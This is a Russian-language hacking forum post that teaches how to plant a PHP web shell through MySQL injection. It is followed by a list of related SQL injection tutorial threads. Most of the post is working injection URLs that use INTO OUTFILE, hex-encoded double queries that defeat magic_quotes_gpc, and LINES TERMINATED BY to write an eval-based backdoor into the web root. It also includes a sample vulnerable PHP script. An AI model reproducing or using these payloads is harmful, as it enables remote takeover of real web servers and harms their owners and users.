Telegram: | maintex |
![]() Join Date: Aug 2013
Posts: 631
![]() |
![]()
Заливка шелла через MySQL Injection
I. Into Outfile Требования: magic_quotes_gpc = Off file_priv = Y полный путь папка с правами на запись Допустим у нас есть SQL инъекция с выводом: Код: http://localhost/sql/test.php?id=-1+...lect+1,2,3--+1 Узнаем имя пользователя БД, под которым мы сидим: Код: http://localhost/sql/test.php?id=-1+...1,user(),3--+1 Проверяем, есть ли файловые привелегии у нашего юзера: Код: http://localhost/sql/test.php?id=-1+...;root'--+1 Заливаем мини-шелл: Код: http://localhost/sql/test.php?id=-1+union+select+1,'<?php eval($_REQUEST[cmd]); ?>',3+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/s.php'--+1 II. Into Outfile + двойной запрос (метод Scipio) Требования: file_priv = Y полный путь папка с правами на запись Предположим, что инъекция удовлетворяет условиям из предыдущего примера, но mq=ON, т.е. кавычки фильтруются, но работаем мы со скриптом следующего содержания: PHP код: <?php mysql_connect('localhost','root',''); mysql_select_db('test'); $id=$_GET["id"]; $sql = "SELECT id,email,name FROM `user` where id=".$id; $result = mysql_query($sql); while($res = mysql_fetch_array($result)) { echo $res['email'].":".$res['name']."<br>"; $sql2 = mysql_query("SELECT uid,auto FROM autos WHERE uid = ".$res["id"]); while($res2 = mysql_fetch_array($sql2)) echo $res2["uid"].':'.$res2["auto"]; } ?> Видим, что данные из первого запроса (id из $sql), попадают во второй запрос $sql2. Попробуем захексить кавычку и подставить в наш запрос: Код: http://localhost/sql/test.php?id=-1+...t+0x27,2,3--+1 Видим ошибку. Из скрипта видно, что во втором запросе 2 колонки, захексим второй запрос -1 union select 'ded',777--+1 и подставим в инъекцию: Код: http://localhost/sql/test.php?id=-1+...2d2031,2,3--+1 Данные успешно выводятся, таким образом мы можем обойти magic_quotes_gpc и залить шелл, хексим запрос -1 union select '<?php eval($_REQUEST[cmd]); ?>',777+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/d.php'--+1 и подставляем в инъекцию: Код: http://localhost/sql/test.php?id=-1+...2d2031,2,3--+1 III. Into Outfile + Lines Terminated By Требования: magic_quotes_gpc = Off file_priv = Y полный путь папка с правами на запись инъекция в аргументе WHERE(LIMIT,ORDER BY) Заливаем шелл запросом: Код: http://localhost/sql/test.php?id=1+limit+1+into+outfile+'D:/A/xampp/htdocs/sql/b.php'+lines+terminated+by+'<?php eval($_REQUEST[cmd]); ?>'--+1 (с)Ded MustD!e |
![]() |
![]() |
![]() |
|
|
![]() |
||||
Thread | Thread Starter | Forum | Replies | Last Post |
Tutorial Oracle SQL Injection - Complete | Cartographer | Tutorials | 2 | 02-04-2022 08:26 PM |
TOYUDesign SQL Injection Vulnerability | Cartographer | Tutorials | 2 | 04-03-2021 07:34 AM |
Php-X-Links Script SQL Injection Vulnerabilitiy | Cartographer | Tutorials | 3 | 03-20-2021 09:39 AM |
Tutorial Injection MsSQL - Complete | Cartographer | Tutorials | 13 | 02-02-2021 07:21 AM |